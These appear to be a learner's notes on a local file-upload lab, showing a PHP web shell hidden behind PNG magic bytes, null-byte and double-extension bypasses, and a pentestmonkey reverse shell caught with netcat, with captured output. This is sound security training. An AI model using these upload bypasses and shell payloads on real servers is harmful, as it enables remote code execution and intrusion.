

15 - Insecure File Upload - Magic Bytes

Here, the check is happening client and server side.

The process is going to be the same. We are always building upon what we know.

We see normal behavior and build on that.

Here, when we try to upload a txt, server tell us we cant.

The screenshot displays the Burp Suite interface with a target set to `http://localhost`. The **Repeater** tab is active, showing a single request and its corresponding response.

Request:

```
1 POST /labs/f0x02.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
  Gecko/20100101 Firefox/115.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,i
  mage/avif,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: multipart/form-data;
  boundary=-----205459092810871493962471908606
8 Content-Length: 241
9 Origin: http://localhost
10 Connection: close
11 Referer: http://localhost/labs/f0x02.php
12 Upgrade-Insecure-Requests: 1
13 Sec-Fetch-Dest: document
14 Sec-Fetch-Mode: navigate
15 Sec-Fetch-Site: same-origin
16 Sec-Fetch-User: ?1
17
18 -----20545909281087149396247190
  8606
19 Content-Disposition: form-data; name="uploaded_file";
  filename="logo33.txt"
20 Content-Type: image/png
21
22 hello there
23 -----20545909281087149396247190
  8606--
24
```

Response:

```
1 HTTP/1.1 200 OK
2 Date: Mon, 20 Jan 2025 23:52:22 GMT
3 Server: Apache/2.4.54 (Debian)
4 X-Powered-By: PHP/7.4.33
5 Vary: Accept-Encoding
6 Access-Control-Allow-Origin: *
7 Access-Control-Allow-Methods: *
8 Content-Length: 2116
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12 Only '.jpg' and '.png' files are allowed. Sorry, your
  file was not uploaded.
13 <!DOCTYPE html>
14 <html lang="en">
15
16 <head>
17   <meta charset="UTF-8">
18   <meta name="viewport" content="width=device-width,
  initial-scale=1.0">
19   <title>
    Injection 0x02
  </title>
20   <link href="../assets/bootstrap.min.css" rel="
  stylesheet">
21   <link href="../assets/custom.css" rel="stylesheet">
22 </head>
23
24 <body>
25   <main>
26     <div class="container px-4 py-5" id="custom-cards
  ">
27       <h2 class="pb-2 border-bottom">
        <a href="../index.php">
          Labs
        </a>
        / Insecure file upload 0x02
      </h2>
28
29     <div class="p-5 mb-4 bg-light rounded-3">
      <h2>
        Choose a file
      </h2>
30
```

Handwritten orange text "Server Error" is written over the response body. The **Inspector** panel on the right shows the request and response details, including request attributes, query parameters, body parameters, cookies, headers, and response headers.

Same for php.

The screenshot shows the Burp Suite interface with a target set to http://localhost. The 'Repeater' tab is active, showing a list of requests. The selected request is a POST to /labs/f0x02.php. The response is a 200 OK status with an HTML body. The body contains a message about allowed file extensions and a form for uploading a file. The response also shows a meta charset of UTF-8 and a viewport meta tag.

Looks like we are going to be using magic bytes.

The filters range from checking the extension at the end of the file to actually reading the file to ensure it is actually the extension expected.

The instructor list a couple of options here:

-Adding a null byte and then the expected extension to the end of the file name: ".php%00.png"

-If an application is not configured correctly, for example the "htaccess" file is configured incorrectly, sometimes we can get execution just by adding the expected extension without the null byte: ".php.png"

-The other way is to upload a htaccess file that allows us to execute files like ".asd" as if they were ".php"

We can check "Content-Type" parameter although it cannot impact how a file is stored or executed on the target server, so it is not worthy.

We can also check the magic bytes, which is going to tell the system what type of file it is. It is the first few bytes of a file. If we were to go to our kali Linux and use the "file" command to see more info on a

file, it would return the file type along with some other information as the type of file, the size, and some other info that is going to depend on the file type. Now, if we use the command `head`, we can see that the first few bytes identify the file as PNG. Lets take a look.

[illegible]

We can check online for a list of file types and its magic byte.

Now, we are going to insert our payload in the image we are sending, like it was embedded in the file.

Check it out:

Go back to the .png file we successfully uploaded. In the image data, are going to put our payload between the first line of image data, and the second line of image data. And, we will need to change the file extension as well, so the website executes it.

Handwritten annotations on the Burp Suite interface:

- Orange arrow pointing to the **Request** tab.
- Orange arrow pointing to the **Content-Type: image/png** header.
- Orange arrow pointing to the **PNG** data section.
- Orange arrow pointing to the **Response** tab.
- Orange arrow pointing to the **Content-Type: text/html; charset=UTF-8** header.
- Orange arrow pointing to the **The file cmd2.php has been uploaded.** message.
- Orange arrow pointing to the **<html lang="en">** tag.
- Orange arrow pointing to the **<meta charset="UTF-8">** tag.
- Orange arrow pointing to the **<meta name="viewport" content="width=device-width, initial-scale=1.0">** tag.
- Orange arrow pointing to the **<title>** tag.
- Orange arrow pointing to the **</title>** tag.
- Orange arrow pointing to the **<link href="..." rel="stylesheet">** tag.
- Orange arrow pointing to the **<link href="..." rel="stylesheet">** tag.
- Orange arrow pointing to the **<body>** tag.
- Orange arrow pointing to the **<main>** tag.
- Orange arrow pointing to the **<div class="container px-4 py-5" id="custom-cards">** tag.
- Orange arrow pointing to the **<h2 class="pb-2 border-bottom">** tag.
- Orange arrow pointing to the **** tag.
- Orange arrow pointing to the **** tag.
- Orange arrow pointing to the **</h2>** tag.
- Orange arrow pointing to the **<div class="p-5 mb-4 bg-light rounded-3">** tag.
- Orange arrow pointing to the **<h2>** tag.
- Orange arrow pointing to the **Choose a file** text.
- Orange arrow pointing to the **</h2>** tag.
- Orange arrow pointing to the **<form action="/labs/f0x02.php" method="post" enctype="multipart/form-data">** tag.
- Orange arrow pointing to the **<div class="mb-3">** tag.
- Orange arrow pointing to the **<label for="formFile" class="form-label">** tag.
- Orange arrow pointing to the **Default file input example** text.

But, it still gives us errors.

Lets take out most of the image data.

Request

```

1 POST /labs/f0x02.php HTTP/1.1
2 Host: localhost
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
  Gecko/20100101 Firefox/115.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif
  ,image/webp,*/*;q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: multipart/form-data;
  boundary=-----63614710941131606993366123310
8
9 Content-Length: 277
10 Origin: http://localhost
11 Connection: close
12 Referer: http://localhost/labs/f0x02.php
13 Upgrade-Insecure-Requests: 1
14 Sec-Fetch-Dest: document
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-Site: same-origin
17 Sec-Fetch-User: ?1
18
19 -----63614710941131606993366123310
20 Content-Disposition: form-data; name="uploaded_file"; filename="
  cmd3.php"
21 Content-Type: image/png
22
23 PNG
24 IHDR<?php system($_GET['cmd']); ?>
25
26 -----63614710941131606993366123310--
27

```

Response

```

1 HTTP/1.1 200 OK
2 Date: Tue, 21 Jan 2025 01:30:06 GMT
3 Server: Apache/2.4.54 (Debian)
4 X-Powered-By: PHP/7.4.33
5 Vary: Accept-Encoding
6 Access-Control-Allow-Origin: *
7 Access-Control-Allow-Methods: *
8 Content-Length: 2164
9 Connection: close
10 Content-Type: text/html; charset=UTF-8
11
12 The file cmd3.php has been uploaded.
13 <!DOCTYPE html>
14 <html lang="en">
15
16 <head>
17 <meta charset="UTF-8">
18 <meta name="viewport" content="width=device-width,
  initial-scale=1.0">
19 <title>
  Injection 0x02
20 </title>
21 <link href="../assets/bootstrap.min.css" rel="stylesheet">
22 <link href="../assets/custom.css" rel="stylesheet">
23 </head>
24
25 <body>
26 <main>
27 <div class="container px-4 py-5" id="custom-cards">
28 <h2 class="pb-2 border-bottom">
29 <a href="../index.php">
30 Labs
31 </a>
32 / Insecure file upload 0x02
33 </h2>
34
35 <div class="p-5 mb-4 bg-light rounded-3">
36 <h2>
37 Choose a file
38 </h2>
39 <form action="/labs/f0x02.php" method="post" enctype="
  multipart/form-data">
40 <div class="mb-3">
41 <label for="formFile" class="form-label">
42 Default file input example

```

Handwritten orange annotations: "magic byte" with an arrow pointing to the 'IHDR' chunk in the request body, and a bracket on the response body indicating the injected payload.

lets see if it works.

Injection 0x02

localhost/labs/uploads/cmd3.php?cmd=whoami

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Netcat Shell Stabilizati...

PNG IHDRwww-data

It is not really pretty but it works.

Just substitute the php code with the rev shell from pentest monkey, and be happy.

Burp Suite Community Edition v2023.10.3.5 - Temporary Project

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

1 x 2 x +

Send Cancel < >

Target: http://localhost HTTP/1

Request

Pretty Raw Hex

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate, br

7 Content-Type: multipart/form-data; boundary=-----63614710941131606993366123310

8 Content-Length: 5936

9 Origin: http://localhost

10 Connection: close

11 Referer: http://localhost/labs/f0x02.php

12 Upgrade-Insecure-Requests: 1

13 Sec-Fetch-Dest: document

14 Sec-Fetch-Mode: navigate

15 Sec-Fetch-Site: same-origin

16 Sec-Fetch-User: ?1

17

18 -----63614710941131606993366123310

19 Content-Disposition: form-data; name="uploaded_file"; filename="cmd4.php"

20 Content-Type: image/png

21

22 PNG

23

24 IHDR<?php

25 // php-reverse-shell - A Reverse Shell implementation in PHP

26 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net

27 //

28 // This tool may be used for legal purposes only. Users take full responsibility

29 // for any actions performed using this tool. The author accepts no liability

30 // for damage caused by this tool. If these terms are not acceptable to you, then

31 // do not use this tool.

32 //

33 // In all other respects the GPL version 2 applies:

34 //

35 // This program is free software; you can redistribute it and/or modify

36 // it under the terms of the GNU General Public License version 2 as

37 // published by the Free Software Foundation.

0 highlights

Response

Pretty Raw Hex Render

1 HTTP/1.1 200 OK

2 Date: Tue, 21 Jan 2025 01:43:46 GMT

3 Server: Apache/2.4.54 (Debian)

4 X-Powered-By: PHP/7.4.33

5 Vary: Accept-Encoding

6 Access-Control-Allow-Origin: *

7 Access-Control-Allow-Methods: *

8 Content-Length: 2176

9 Connection: close

10 Content-Type: text/html; charset=UTF-8

11

12 The file cmd4.php has been uploaded.

13 <!DOCTYPE html>

14 <html lang="en">

15

16 <head>

17 <meta charset="UTF-8">

18 <meta name="viewport" content="width=device-width, initial-scale=1.0">

19 <title>

20 Injection 0x02

21 </title>

22 <link href="../assets/bootstrap.min.css" rel="stylesheet">

23 <link href="../assets/custom.css" rel="stylesheet">

24 </head>

25 <body>

26 <main>

27 <div class="container px-4 py-5" id="custom-cards">

28 <h2 class="pb-2 border-bottom">

29

30 Labs

31

32 / Insecure file upload 0x02

33 </h2>

34 <div class="p-5 mb-4 bg-light rounded-3">

35 <h2>

36 Choose a file

37 </h2>

38 <form action="/labs/f0x02.php" method="post" enctype="multipart/form-data">

39 <div class="mb-3">

40 <label form="formFile" class="form-label">

41 Default file input example

0 highlights

Inspector

Request attributes 2

Request query parameters 0

Request body parameters 1

Request cookies 0

Request headers 15

Response headers 9

2,459 bytes | 5 millis

Injection 0x02 x localhost/labs/uploads/c x +

localhost/labs/uploads/cmd4.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Netcat Shell Stabilizati...

PNG IHDRwww-data

```
kali@kali: ~/Desktop/WebApp-Lab/insecure_file_upload_02
File Actions Edit View Help
kali@kali: ~/Desktop/WebApp-Lab/insecure_file_upload_02 x kali@kali: ~ x
nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.163.133] from (UNKNOWN) [172.18.0.4] 57520
Linux 9e0f26b27448 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64 GNU/Linux
01:46:25 up 6:25, 0 users, load average: 1.25, 0.91, 0.80
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ hostname
9e0f26b27448
$ ls -ls
total 84
drwxr-xr-x 1 root root 4096 Nov 15 03:36 .
drwxr-xr-x 1 root root 4096 Nov 15 03:36 ..
-rwxr-xr-x 1 root root  0 Nov 15 03:36 .dockerenv
drwxr-xr-x 1 root root 4096 Nov 15 2022 bin
drwxr-xr-x 2 root root 4096 Sep  3 2022 boot
drwxr-xr-x 5 root root 348 Jan 20 23:43 dev
drwxr-xr-x 1 root root 4096 Nov 15 03:36 etc
drwxr-xr-x 2 root root 4096 Sep  3 2022 home
drwxr-xr-x 1 root root 4096 Nov 15 2022 lib
drwxr-xr-x 2 root root 4096 Nov 14 2022 lib64
drwxr-xr-x 2 root root 4096 Nov 14 2022 media
drwxr-xr-x 2 root root 4096 Nov 14 2022 mnt
drwxr-xr-x 2 root root 4096 Nov 14 2022 opt
dr-xr-xr-x 314 root root  0 Jan 20 23:43 proc
drwxr-xr-x 1 root root 4096 Nov 15 2022 root
drwxr-xr-x 1 root root 4096 Nov 15 2022 run
drwxr-xr-x 1 root root 4096 Nov 15 2022/sbin
drwxr-xr-x 2 root root 4096 Nov 14 2022/srv
dr-xr-xr-x 13 root root  0 Jan 20 23:43 sys
drwxrwxrwt 1 root root 4096 Jan 21 01:43 tmp
drwxr-xr-x 1 root root 4096 Nov 14 2022/usr
drwxr-xr-x 1 root root 4096 Nov 15 2022/var
```

Injection 0x02 x localhost/labs/uploads/cmd4.php

localhost/labs/uploads/cmd4.php

Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec Netcat Shell Stabilizati...

PNG IHDRWARNING: Failed to daemonise. This is quite common and not fatal. Successfully opened reverse shell to 192.168.163.133:1234 ERROR: Shell process terminated

Now, if there was a block list blocking .PHP files, we could also use other file extension.

If we google "valid php file extensions", we can see there are a couple options. We could perhaps upload a file with one of these extensions, and have the website execute it when we request the URL.

Here, the best secure idea would be to use an allow list rather than a block list.